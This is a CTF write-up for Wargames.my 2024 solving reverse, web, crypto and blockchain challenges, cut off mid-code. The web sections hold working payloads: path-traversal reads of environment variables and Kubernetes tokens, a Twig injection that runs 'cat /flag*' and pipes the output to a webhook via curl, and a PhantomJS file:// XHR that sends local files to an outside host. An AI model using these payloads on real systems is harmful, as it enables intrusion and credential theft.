# Wargames.my 2024 Writeup - Team "That time I got reincarnated as a CTF player" ## Reverse ### Stones Pyinstaller Extractor -> pycdc -> reverse -> bruteforce date 2020 - 2024 -> flag ```python import requests from datetime import datetime, timedelta from concurrent.futures import ThreadPoolExecutor import time # Base URL and headers base_url = "http://3.142.133.106:8000/?first_flag=WGMY{1d2993&date=" start_year = 2020 end_year = 2024 num_threads = 1 # Adjust threads to avoid hitting rate limits rate_limit_delay = 3 # Seconds between requests # Function to check a single date def check_date(date_str): url = base_url + date_str while True: try: response = requests.get(url) if response.status_code == 200 and '{"error":"Wrong date"}' not in response.text: print(f"Success! Date: {date_str}") print(f"Response: {response.text}") return True # Stop further processing elif response.status_code == 429 or "Too Many Requests" in response.text: print(f"Rate limit hit. Retrying date: {date_str}") time.sleep(rate_limit_delay) # Wait before retrying else: print(f"Tried date: {date_str} - Wrong date") return False except requests.exceptions.RequestException as e: print(f"Error with date {date_str}: {e}") time.sleep(rate_limit_delay) # Wait before retrying # Function to brute-force dates def brute_force_dates(start_year, end_year): start_date = datetime(start_year, 1, 1) end_date = datetime(end_year, 12, 31) date_list = [] # Generate all dates current_date = start_date while current_date <= end_date: date_list.append(current_date.strftime("%Y-%m-%d")) current_date += timedelta(days=1) # Use ThreadPoolExecutor for concurrency with ThreadPoolExecutor(max_workers=num_threads) as executor: futures = {executor.submit(check_date, date): date for date in date_list} for future in futures: if future.result(): # Stop if successful date is found executor.shutdown(wait=False) break # Run the brute-force function brute_force_dates(start_year, end_year) ``` Correct date: 2022-07-25 ``` Flag: WGMY{1d2993fc6327746830cd374debcb98f5} ``` ### Sudoku > Easy stuff, frfr. You dont need to brute force or guess anything. > > **The final flag don't have any dot (.)** > > Author: Trailbl4z3r > > <details> > <summary>Hint</summary> > Flag format: wgmy{<b>md5 hash</b>} > </details> We were given two files, one of which is a linux ELF executable, and an encrypted flag. ``` sudoku.zip ├── out.enc └── sudoku ``` Contents of `out.enc`: ```! z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r, t728{09er1bzbs9sx5sosu7719besr39zscbx} ``` Opening the executable in IDA, we immediately see strings mentioning about [PyInstaller](https://github.com/pyinstaller/pyinstaller), which tells us this executable is packed. ![image](https://hackmd.io/_uploads/SyTy1dABJl.png) We can use [Pyinstxtractor online](https://pyinstxtractor-web.netlify.app/) to unpack it to get the compiled python files. ![image](https://hackmd.io/_uploads/HkXhJd0H1x.png) From the possible entry points suggested, `sudoku.pyc` looks most plausible, so we can assume the main logic is inside this file. We can try to decompile such file by running tools like [pycdc](https://github.com/zrax/pycdc). For convenience, [PyLingual](https://pylingual.io/view_chimera?identifier=99de5f2f0362cd109486c67b47818fde3702d171f9870d962d6245b8c563551d) was used during CTF. :::spoiler Decompiled source of <code>sudoku.pyc</code> ```py= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: sudoku.py # Bytecode version: 3.11a7e (3495) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import random alphabet = 'abcdelmnopqrstuvwxyz1234567890.' plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9, w.my{[REDACTED]}' def makeKey(alphabet): alphabet = list(alphabet) random.shuffle(alphabet) return ''.join(alphabet) key = makeKey(alphabet) def encrypt(plaintext, key, alphabet): keyMap = dict(zip(alphabet, key)) return ''.join((keyMap.get(c.lower(), c) for c in plaintext)) enc = encrypt(plaintext, key, alphabet) ``` ::: Analysing the source, we can find out that the flag is encrypted by generating a random charmap and substituting all characters, essentially making it a [cryptogram](https://en.wikipedia.org/wiki/Cryptogram), albeit slightly unconventional. The plaintext was slightly masked to arbitrarily add some difficulty to it. Since we know most of the plaintext (which happens to be a [pangram](https://en.wikipedia.org/wiki/The_quick_brown_fox_jumps_over_the_lazy_dog) - a sentence constituting all english alphabets), we can create a reverse charmap to map ciphertext to plaintext. Once we have the reverse charmap, we run it through the flag part of ciphertext to recover the flag. ```py # plaintext = '0 the1 quick2 brown3 fox4 jumps5 over6 the7 lazy8 dog9' plaintext = '0 t.e1 qu.c.2 brown3 .ox4 .umps5 over6 t.e7 lazy8 do.9' ciphertext = "z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r" encflag = "t728{09er1bzbs9sx5sosu7719besr39zscbx}" decmap = {} for pt, ct in zip(plaintext, ciphertext): decmap[ct] = pt flag = ''.join((decmap.get(c.lower(), c) for c in encflag)) print(''.join((decmap.get(c.lower(), c) for c in ciphertext))) print(flag) assert int(flag[5:-1], 16) # ensure flag is legal ``` After running the script, we get the following flag: `w.my{2ba914045b56c5e58..1b4a593b05746}`. Some characters appear to be intentionally masked. Referencing the original panagram we can find that characters `h i k f j h g` maps to `.`. ``` 0 the1 quick2 brown3 fox4 jumps5 over6 the7 lazy8 dog9 z v7o1 an7570 9d.tl3 7.4b 7n2pws .qodx v7oc ye68u m.7r h i k f j h g ``` Of these characters, because the flag is consisted of a MD5 digest in hexadecimal form, only `f` fits in it. Therefore, we can replace the characters manually and recover the flag. Flag: `wgmy{2ba914045b56c5e58ff1b4a593b05746}` ## Web ### Secret 2 This is a continuation from previous **Warmup 2** challenge. Seeing inside the source code, the flag is stored inside a vault. ```yaml server: dev: enabled: true extraEnvironmentVars: WGMY_FLAG: flag{test} postStart: - /bin/sh - -c - >- until vault status; do sleep 1; done && vault secrets enable -path=kv kv-v2 && vault kv put kv/flag flag="$WGMY_FLAG" && vault auth enable kubernetes && vault write auth/kubernetes/config kubernetes_host="https://$KUBERNETES_PORT_443_TCP_ADDR:443" && echo 'path "kv/data/flag" { capabilities = ["read"] }' | vault policy write wgmy - && vault write auth/kubernetes/role/wgmy bound_service_account_names=* bound_service_account_namespaces=* token_policies=wgmy token_ttl=1s injector: enabled: false ``` And looking into the nginx config, it seems like we can probably access this vault through `/vault/` `proxy_pass`. ```yaml configMap: enabled: true data: default.conf: | set_real_ip_from 10.42.0.0/16; real_ip_header X-Real-IP; server { listen 80 reuseport; server_name _; location / { root /usr/share/nginx/html; index index.html index.htm; } location /vault/ui/ { deny all; } location /vault/ { allow 10.0.0.0/8; allow 172.16.0.0/12; allow 192.168.0.0/16; deny all; proxy_pass http://vault.vault:8200/; } } ``` It seems to be blocking the `/vault/` path to only private IPs. For some reason, I am not sure why this work, but for this challenge we can just get service account token from the LFI in the previous Warmup challenge and sign us in. The solution to this challenge is to first get service account token. ``` curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/run/secrets/kubernetes.io/serviceaccount/token" --output token.txt ``` and then from the service account token, quickly get the client token because the expiry is around 1 sec. ``` VAULT_TOKEN=$(curl -s -X POST "http://nginx.wgmy/vault/v1/auth/kubernetes/login" \ -H "Content-Type: application/json" \ -H "X-Real-IP: 10.0.0.1" \ -d @- <<EOF | jq -r '.auth.client_token' { "jwt": "$(cat token.txt)", "role": "wgmy" } EOF ) curl -s "http://nginx.wgmy/vault/v1/kv/data/flag" \ -H "X-Vault-Token: ${VAULT_TOKEN}" \ -H "X-Real-IP: 10.0.0.1" ``` Sending the above will fetch you the flag. ``` Flag: wgmy{1bc665d324c5bd5e7707909d03217681} ``` ### Warmup 2 In this challenge we were given an instance of kubernetes hosting a Dart web application and a vault. For this challenge, the flag is stored inside env var. ```yaml env: WGMY_FLAG: flag{test} ``` Seeing inside the Dart web source code, we can see that its running Jaguar. ```dart import 'package:jaguar/jaguar.dart'; void main() async { final server = Jaguar(port: 80); server.staticFiles('/*', '/app/public'); server.log.onRecord.listen(print); await server.serve(logRequests: true); } ``` Looking into the Github issue of the Jaguar repo, we found this. https://github.com/Jaguar-dart/jaguar/issues/157 What we did next, we tried to use same method on the challenge server, tried to read the env var, and we got the flag! ``` curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc/self/environ" --output env ``` ``` PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=dart-5cc994657c-jr6gkWGMY_FLAG=wgmy{1ab97a2708d6190bf882c1acc283984a}KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443DART_SERVICE_HOST=10.43.248.152DART_PORT_80_TCP_PROTO=tcpKUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1DART_PORT=tcp://10.43.248.152:80DART_PORT_80_TCP=tcp://10.43.248.152:80DART_SERVICE_PORT_HTTP=80DART_PORT_80_TCP_PORT=80DART_PORT_80_TCP_ADDR=10.43.248.152KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PORT=443DART_SERVICE_PORT=80HOME=/% ``` ``` Flag: wgmy{1ab97a2708d6190bf882c1acc283984a} ``` ### Dear Admin We were given a website where we could insert poem and see it on a `.html` file. Also we were given the source code. ![image](https://hackmd.io/_uploads/ry7RNK6Hyl.png) ![image](https://hackmd.io/_uploads/B19C4Kpryl.png) From the source code, we can see it's using twig templating engine. In the `index.php`, we can see that the page is calling `admin.php` and rendering our input in the `admin_review.twig` template. ```php // index.php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['poem'])) { $poem = trim($_POST['poem']); if (empty($poem)) { $_SESSION['message'] = 'Please enter a poem.'; $_SESSION['status'] = 'error'; } else { $ch = curl_init('http://localhost/admin.php?poem=' . urlencode($poem)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); ``` ```php // admin.php header('Content-Type: application/json'); if (!isset($_GET['poem'])) { http_response_code(400); echo json_encode([ 'status' => 'error', 'message' => 'Invalid request' ]); exit; } $poem = trim($_GET['poem']); $uniqueId = uniqid('poem_', true); $evaluation = [ 'length' => strlen($poem), 'lines' => count(explode("\n", $poem)), 'words' => str_word_count($poem) ]; $isAcceptable = $evaluation['words'] >= 10 && $evaluation['lines'] >= 3; .......... continued ``` Another interesting thing we found is this configuration in the Dockerfile ``` RUN echo "register_argc_argv=On" > /usr/local/etc/php/conf.d/register-argc-argv.ini ``` Googling through the internet, we found this research from Assetnote previously. **Reference**: https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms To solve the challenge, we followed the research method to exploit. (TLDR: `--templatesPath` in argv allow attackers to specify their own hosted Twig template via FTP) Though there's few problems. There's a simple blacklist in the code `config.php` ```php $forbidden = [ 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'assert', 'pcntl_exec', 'eval', 'call_user_func', 'ReflectionFunction','filter','~' ]; ``` This is easily bypassable using string concatenation. ``` {% set cmd = ['s','y','s','t','e','m']|join('') %} {{ ['whoami'] | map(cmd) }} ``` We then created and hosted the template on our own FTP server using a cloud instance ```bash python3 -m pyftpdlib -p 2121 -w ``` **Final template payload** ``` {% set cmd = ['s','y','s','t','e','m']|join('') %} {{ ['cat /flag* | curl -X POST -d @- https://webhook.site/062c9157-61d7-4417-95f6-dd084c2b0c89'] | map(cmd) }} ``` **Final Burp HTTP Request** ``` POST /index.php HTTP/1.1 Host: localhost Content-Length: 108 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: en-GB,en;q=0.9 Origin: http://localhost Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/index.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=0db2cc7f5040e87982bcfc69437c5ebf Connection: keep-alive poem=Roses+are+red%0AViolets+are+blue%0ASugar+is+sweet+--templatesPath=ftp://anonymous:@<hostedserverip>:2121/ ``` ``` Flag: wgmy{eae236d68a96aed8af76923357728478} ``` ### Wordmarket We were given a simple Wordpress instance and source code for it. ![image](https://hackmd.io/_uploads/Sk0VsY6Hyg.png) Inside the source code, we can see that it has two plugins. `cities-shipping-zones-for-woocommerce` and `wgmy-functions` ![image](https://hackmd.io/_uploads/H1kqsYprkg.png) The `wgmy-functions.php` looks particulary interesting to look at. ```php <?php /** * Plugin Name: Wargames.MY Functions * Plugin URI: https://wargames.local/wgmy-functions/ * Description: WooCommerce plugin only for Wargames Users * Version: 1.0.1 * Author: h0j3n */ add_action( 'rest_api_init', function () { register_rest_route( 'wgmy/v1', '/add_user', array( 'methods' => 'POST', 'callback' => 'user_creation_menu', 'permission_callback' => '__return_true', ) ); } ); function user_creation_menu(){ if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) { if (get_option('wgmy_secret') == $_POST["secret"]){ $login = sanitize_user($_POST['login']); $password = sanitize_text_field($_POST['password']); $email = sanitize_email($_POST['email']); $role = sanitize_text_field($_POST['role']); if (in_array($role, array("shop_manager", "customer", "subscriber"))) { $user_id = wp_create_user($login, $password, $email); if (is_wp_error($user_id)) { $result['message'] = $user_id->get_error_message(); echo json_encode($result); } else { $user = new WP_User($user_id); $user->set_role($role); $result['message'] = 'User created successfully!'; $result['user_id'] = $user_id; echo json_encode($result); } } else { $result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.'; echo json_encode($result); } } else { $result['message'] = 'Invalid secret provided.'; echo json_encode($result); } } else { $result['message'] = 'Required fields: role, login, password, email, and secret.'; echo json_encode($result); } } add_action("wp_ajax_get_config", "get_config"); add_action("wp_ajax_nopriv_get_config", "get_config"); function get_config(){ if (isset($_POST["switch"]) && $_POST["switch"] === "1") { $secret_value = get_option('wgmy_secret'); if ($secret_value) { echo json_encode(array('secret' => $secret_value)); } else { echo json_encode(array('error' => 'Secret not found.')); } } } ``` This particular code inside the `wgmy-functions.php` looks very interesting. It allows us to add a user by having the correct `secret`. ```php // wgmy-functions.php add_action( 'rest_api_init', function () { register_rest_route( 'wgmy/v1', '/add_user', array( 'methods' => 'POST', 'callback' => 'user_creation_menu', 'permission_callback' => '__return_true', ) ); } ); function user_creation_menu(){ if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) { if (get_option('wgmy_secret') == $_POST["secret"]){ $login = sanitize_user($_POST['login']); $password = sanitize_text_field($_POST['password']); $email = sanitize_email($_POST['email']); $role = sanitize_text_field($_POST['role']); if (in_array($role, array("shop_manager", "customer", "subscriber"))) { $user_id = wp_create_user($login, $password, $email); if (is_wp_error($user_id)) { $result['message'] = $user_id->get_error_message(); echo json_encode($result); } else { $user = new WP_User($user_id); $user->set_role($role); $result['message'] = 'User created successfully!'; $result['user_id'] = $user_id; echo json_encode($result); } } else { $result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.'; echo json_encode($result); } } else { $result['message'] = 'Invalid secret provided.'; echo json_encode($result); } } else { $result['message'] = 'Required fields: role, login, password, email, and secret.'; echo json_encode($result); } } ``` But... how do we get the secret? Scrolling down, this function below seems to be able to give us `secret` by just sending `switch=1` to the endpoint `/wp-admin/admin-ajax.php?action=get_config`. ```php // wgmy-functions.php add_action("wp_ajax_get_config", "get_config"); add_action("wp_ajax_nopriv_get_config", "get_config"); function get_config(){ if (isset($_POST["switch"]) && $_POST["switch"] === "1") { $secret_value = get_option('wgmy_secret'); if ($secret_value) { echo json_encode(array('secret' => $secret_value)); } else { echo json_encode(array('error' => 'Secret not found.')); } } } ``` To get the `secret`, we can use`curl`. ``` curl -X POST -d "switch=1" "http://46.137.193.2/wp-admin/admin-ajax.php?action=get_config" {"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"} ``` Now that we have the `secret`, we can create any user using the previous function! Thanks chatgpt for the curl command below. ``` curl -X POST "http://46.137.193.2/wp-json/wgmy/v1/add_user" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "role=shop_manager&login=myuser&password=SecureP@ss123&email=myemail@example.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx" {"message":"User created successfully!","user_id":3} ``` With this, we are able to login into the Wordpress. The next stage of exploitation must be inside the `cities-shipping-zones-for-woocommerce` plugin. **But what are we looking for?** Traversing through the woocommerce plugin code, I am seeing a few of `include()` function being used. Checking the Dockerfile, the flag filename isn't randomized, so highly likely this does not require RCE. This specific line of code in the plugin is interesting. ```php // cities-shipping-zones-for-woocommerce.php line 473-475 public function wc_sanitize_option_wc_csz_set_zone_locations( $value, $option ) { if ( ! empty( $value ) && ! empty( $_POST['wc_csz_countries_codes'] ) && ! empty( $_POST['wc_csz_set_zone_country'] ) && ! empty( $_POST['wc_csz_set_zone_id'] ) ) { include( 'i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php' ); ``` If we are able to control `$_POST['wc_csz_set_zone_country']` through the country/zone setting, we can get LFI. And turns out, yes it is controllable by us. This request above is located in the `cities-shipping-zones-for-woocommerce` plugin settings, on the far right. To access this request, we must first fill in the blanks, and click on Save changes. In my case, I intercepted the request and set the `$_POST['wc_csz_set_zone_country']` value to `../../../../../../../../flag` ![image](https://hackmd.io/_uploads/ryXKk9TSkx.png) ![image](https://hackmd.io/_uploads/r1CK19pB1l.png) Send the request, and you should get the flag in the response body. ``` Flag: wgmy{7beb8af77b68e7d8c68170b1cc2c0e91} ``` ### myFile > Built a file sharing website using ChatGPT! Feel free to try it! > > Author: SKR > <details> > <summary>Hint</summary> > Notice the content-type header? > </details> We're given the following files to work with: ``` myfile.zip ├── admin.php ├── bootstrap.min.css ├── dashboard.php ├── download.php ├── dropzone.js ├── index.php ├── logout.php ├── myfile.png ├── report.php ├── style.css ├── upload.php └── view.php ``` There is a report abuse page (`report.php`) that lets us submit a url for an admin bot to check. The admin bot holds the admin credentials that can be used to login at `admin.php`. ![image](https://hackmd.io/_uploads/rydDdTaHyl.png) Looking in source provided, it's implemented as follows: ```php ...SNIP... <h1 class="mt-5">Report abuse</h1> <p class="lead">Submit the URL here, admin will review the link shortly</p> <div class="col-xl-6 mt-5"> <form class="form-add-note" action="report.php" method="POST"> <label for="link" class="sr-only">Link</label> <input type="text" name="url" class="form-control" placeholder="http://example.com" required="true" autofocus="true"> <button class="btn btn-primary btn-block mt-2" type="submit">Report</button> </form> <?php if(isset($_POST['url'])){ if (filter_var($_POST['url'], FILTER_VALIDATE_URL) && preg_match("^http(s)?^",parse_url($_POST['url'], PHP_URL_SCHEME))) { system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js ".urlencode($_POST['url'])." REDACTED"); echo("<p class='text-success'>Admin will view the URL shortly!</p>"); } else { echo("<p class='text-danger'>Invalid URL!</p>"); } } ?> </div> ...SNIP... ``` In particular, we can find that `phantomjs-2.1.1` is in use, which is vulnerable to [CVE-2019-17221 Arbitrary File Read](https://web.archive.org/web/20191220171022/https://www.darkmatter.ae/blogs/breaching-the-perimeter-phantomjs-arbitrary-file-read/). To exploit this, we just need to fire a XHR on the `file://` protocol. We can construct a page that uses XHR to read the source of `report.php` from a common php directory `/var/www/html`, and send the contents to a site that we control. We host this page on a site and let admin bot visit. ```html <html> <head> </head> <body> <script> x = new XMLHttpRequest(); x.onload = function() { var xhr = new XMLHttpRequest(); xhr.open("POST", "https://webhook.site/YOUR-UID", true); xhr.send(JSON.stringify({ response: this.responseText })); }; x.open("GET", "file:///var/www/html/report.php"); x.send(); </script> </body> </html> ``` After a few seconds, admin bot should post the content of `report.php` in server to us. ```php ...SNIP... <?php if(isset($_POST['url'])){ if (filter_var($_POST['url'], FILTER_VALIDATE_URL) && preg_match("^http(s)?^",parse_url($_POST['url'], PHP_URL_SCHEME))) { system("/phantomjs-2.1.1-linux-x86_64/bin/phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any /bot.js ".urlencode($_POST['url'])." ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd"); echo("<p class='text-success'>Admin will view the URL shortly!</p>"); } else { echo("<p class='text-danger'>Invalid URL!</p>"); }} ?> ...SNIP... ``` From the response, we can obtain the password for admin: `ccc9851c3ce6ceb05707bb796e49e8b02d9ce15ef1cfb8318f6baadde09cb6bd`. After we use the credential to login as admin, we can download the flag from admin dashboard. ![image](https://hackmd.io/_uploads/ByK0RaTrkx.png) Flag: `wgmy{2e51ed84b09a65cec62b50ce8bc7e57c}` ## Crypto ### Credentials 1. Looking at description we need to look for user `osman`. 2. The user `osman` is in line 337 of `user.txt`. 3. Hence looking at line 337 on `passwd.txt` we found an encoded flag. 4. Decode the encoded flag using ROT: ![image](https://hackmd.io/_uploads/rkFtf8CHkl.png) 5. Flag : `WGMY{b6d180d9c302d8a8daad1f2174a0b212}` ### Rick'S Algorithm ```python= #!/usr/bin/env python3 from pwn import * from math import gcd from Crypto.Util.number import long_to_bytes, getPrime, inverse, bytes_to_long import random HOST = '43.216.119.115' PORT = 32792 E = 0x557 # from challenge def menu_choice(io, choice): """Send a menu choice to the remote or local process.""" io.sendlineafter(b"Enter option:", str(choice).encode()) def encrypt_message(io, msg_str): """Call '1. Encrypt' in the menu; returns int ciphertext.""" menu_choice(io, 1) io.sendlineafter(b"Enter message to encrypt: ", msg_str.encode()) io.recvuntil(b"Encrypted message: ") c = int(io.recvline().strip()) return c def decrypt_message(io, c_int): """Call '2. Decrypt' in the menu; returns int plaintext or None if ALERT.""" menu_choice(io, 2) io.sendlineafter(b"Enter ciphertext to decrypt: ", str(c_int).encode()) line = io.recvline(timeout=1).strip() if b"HACKER ALERT" in line or b"Bye" in line: log.error("HACKER ALERT triggered. We got caught.") return None # If we get a line like "Decrypted message: 12345" if b"Decrypted message:" in line: return int(line.split(b":")[-1]) return None def get_encrypted_flag(io): """Call '3. Print encrypted flag'; returns int c_flag.""" menu_choice(io, 3) io.recvuntil(b"Encrypted flag: ") c_flag = int(io.recvline().strip()) return c_flag def solve(): # 1) Connect io = remote(HOST, PORT) # or: io = process("./challenge.py") if local # 2) Recover n by gcd approach # Choose small messages m_i, get c_i from encryption, compute gcd(c_i - m_i^E). test_msgs = ['A', 'B', 'C', 'D', 'E', 'F'] diffs = [] for m in test_msgs: c = encrypt_message(io, str(m)) # c = m^e mod n m_e = pow(bytes_to_long(m.encode()), E) # no modulus diffs.append(c - m_e) potential_n = 0 for d in diffs: potential_n = gcd(potential_n, abs(d)) log.info(f"Potential n = {potential_n}") if potential_n <= 1: log.error("Failed to recover valid n. (Maybe pick different test messages?)") io.close() return # 3) Retrieve the encrypted flag c_flag = get_encrypted_flag(io) log.info(f"Encrypted flag c_flag = {c_flag}") # 4) Blind the encrypted flag # a) pick a random r < n, gcd(r,n)=1 # b) c_blind = (c_flag * r^e) mod n while True: r = random.randrange(2, potential_n) # random in [2..n-1] if gcd(r, potential_n) == 1: break r_e_mod_n = pow(r, E, potential_n) c_blind = (c_flag * r_e_mod_n) % potential_n log.info(f"Blinded ciphertext = {c_blind}") # 5) Decrypt the blinded ciphertext dec_blind = decrypt_message(io, c_blind) if dec_blind is None: log.error("Could not decrypt c_blind (triggered HACKER ALERT).") io.close() return # dec_blind = (r * flag) mod n log.info(f"Decrypted (blinded) = {dec_blind}") # 6) Unblind locally: # flag = (dec_blind * r^{-1}) mod n r_inv = inverse(r, potential_n) m_flag = (dec_blind * r_inv) % potential_n # 7) Convert to bytes flag_bytes = long_to_bytes(m_flag) log.success(f"Recovered flag: {flag_bytes}") # 8) Exit gracefully menu_choice(io, 5) # "5. Exit" io.close() if __name__ == "__main__": solve() ``` ![image](https://hackmd.io/_uploads/SkevXWURBkl.png) ### Hohoho 3 > Santa Claus is coming to town! Send your wishes by connecting to the netcat service! > > use `[nc IP PORT]` > > Author: SKR > > <details> > <summary>Hint</summary> > We love XOR! > </details> > > :::spoiler Source code of `server.py` > ```py > #!/usr/bin/env python3 > import hashlib > from Crypto.Util.number import * > > m = getRandomNBitInteger(128) > > class User: > def __init__(self, name, token): > self.name = name > self.mac = token > > def verifyToken(self): > data = self.name.encode(errors="surrogateescape") > crc = (1 << 128) - 1 > for b in data: > crc ^= b > for _ in range(8): > crc = (crc >> 1) ^ (m & -(crc & 1)) > return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac > > def generateToken(name): > data = name.encode(errors="surrogateescape") > print("Gen", data) > crc = (1 << 128) - 1 > for b in data: > crc ^= b > for _ in range(8): > crc = (crc >> 1) ^ (m & -(crc & 1)) > return hex(crc ^ ((1 << 128) - 1))[2:] > > def printMenu(): > print("1. Register") > print("2. Login") > print("3. Make a wish") > print("4. Wishlist (Santa Only)") > print("5. Exit") > > def main(): > print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n") > user = None > while(1): > printMenu() > try: > option = int(input("Enter option: ")) > if option == 1: > name = str(input("Enter your name: ")) > if "Santa Claus" in name: > print("Cannot register as Santa!\n") > continue > print(f"Use this token to login: {generateToken(name)}\n") > > elif option == 2: > name = input("Enter your name: ") > mac = input("Enter your token: ") > user = User(name, mac) > if user.verifyToken(): > print(f"Login successfully as {user.name}") > print("Now you can make a wish!\n") > else: > print("Ho Ho Ho! No cheating!") > break > elif option == 3: > if user: > wish = input("Enter your wish: ") > open("wishes.txt","a").write(f"{user.name}: {wish}\n") > print("Your wish has recorded! Santa will look for it!\n") > else: > print("You have not login yet!\n") > > elif option == 4: > if user and "Santa Claus" in user.name: > wishes = open("wishes.txt","r").read() > print("Wishes:") > print(wishes) > else: > print("Only Santa is allow to access!\n") > elif option == 5: > print("Bye!!") > break > else: > print("Invalid choice!") > except Exception as e: > print(str(e)) > break > > if __name__ == "__main__": > main() > ``` > ::: In short, the script lets us generate arbitrary string's [CRC](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) with a random non-standard polynomial `m`. The goal is to generate a vaild CRC of the string `Santa Claus` to check the wishlist for flag. Not surprisingly, the script blocks calling `generateToken("Santa Claus")`. According to [this stackexchange post](https://crypto.stackexchange.com/a/34013), CRC operations are affine linear, which means they exhibit the behaviour of $crc(a) \oplus crc(b) \oplus crc(0) = crc(a \oplus b)$. As $\text{(!!!!!A!!!!!)} \oplus \text{(r@OU@abM@TR)} = \text{(Santa Claus)}$, we can calculate the CRC value of the first 2 strings together with a null string at the same length, and finally compute the CRC value for `Santa Claus`. ```py from pwn import * def xor_bytes(b1, b2): """XOR two byte sequences of equal length.""" return bytes(a ^ b for a, b in zip(b1, b2)) def getcrc(name): global p p.recvuntil("Enter option:") p.sendline('1') p.sendline(name) p.recvuntil("to login: ") return p.recvline().strip().decode() def generate_token_from_known(x, y): """Generate a token for target_name using CRC linearity.""" # crc(a) ⊕ crc(b) ⊕ crc(0) = crc(a ⊕ b) # https://crypto.stackexchange.com/a/34013 crcx = int(getcrc(x), 16) crcy = int(getcrc(y), 16) crc0 = int(getcrc("\x00" * len(x)), 16) target_crc = crcx ^ crcy ^ crc0 return hex(target_crc)[2:] a = "!!!!!A!!!!!" b = xor_bytes(a.encode(), b"Santa Claus").decode(errors='surrogateescape') target_name = "Santa Claus" p = remote('43.216.11.94', 34037) fake_token = generate_token_from_known(a, b) print(f"Generated Token for '{target_name}': {fake_token}") p.interactive() ``` Flag: `wgmy{6952956e2749f941428e6d16b169ac91}` ## Blockchain ### Dungeons and Naga **To solve this challenge, you can first create a character.** ```bash cast send 0xCHALLENGE_ADDRESS \ "createCharacter(string,uint256)" "MyHero" 3 \ --value 0.1ether \ --rpc-url http://BLOCKCHAIN_RPC_URL \ --private-key 0xYOUR_PRIVATE_KEY ``` **Create a weak monster.** ```bash cast send 0xCHALLENGE_ADDRESS \ "createMonster(string,uint256,uint256)" "Weakling" 1 1 \ --rpc-url http://BLOCKCHAIN_RPC_URL \ --private-key 0xYOUR_PRIVATE_KEY ``` **Note:** The contract allow anyone to create a monster with extremely low stats (health = 1, attack = 1), as there are no restrictions on the values or who can call this function. **Fight the weak monster repeatedly until you're level 20 or above.** ```bash cast send 0xCHALLENGE_ADDRESS \ "fightMonster(uint256)" 0 \ --rpc-url http://BLOCKCHAIN_RPC_URL \ --private-key 0xYOUR_PRIVATE_KEY ``` - Weak monsters with health + attack so low can always be defeated. - No limit on how many times the same monster can be fought. - Predictable randomness (fateScore) allows repeated attempts until success. **Defeat the final dragon once you reach level 20++** ```bash cast send 0xCHALLENGE_ADDRESS \ "finalDragon()" \ --rpc-url http://BLOCKCHAIN_RPC_URL \ --private-key 0xYOUR_PRIVATE_KEY ``` - Predictable randomness (fateScore) based on msg.sender and salt allows manipulation or retries until success. - No cooldown or retries limit for fighting the dragon. At first, I was using cast to drain the money, but turns out deploying my own contract is a much better option. ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Script.sol"; import "forge-std/console.sol"; interface IDungeonsAndDragons { function createCharacter(string calldata name, uint256 class) external payable; function createMonster(string calldata name, uint256 power, uint256 level) external; function fightMonster(uint256 monsterId) external; function finalDragon() external; } contract Exploit is Script { address constant SETUP_ADDR = 0x3Fc6FE3667859d59Dc9F0672B86c6De8DDF72EC3; // Setup contract address uint256 constant PRIVATE_KEY = 0xdcba0c5226bea356b29e4450cd02e5625712298aab7e9cf1a8be4b1b79934e1e; // Replace with your private key function run() external { vm.startBroadcast(PRIVATE_KEY); // Step 1: Get the challenge contract address 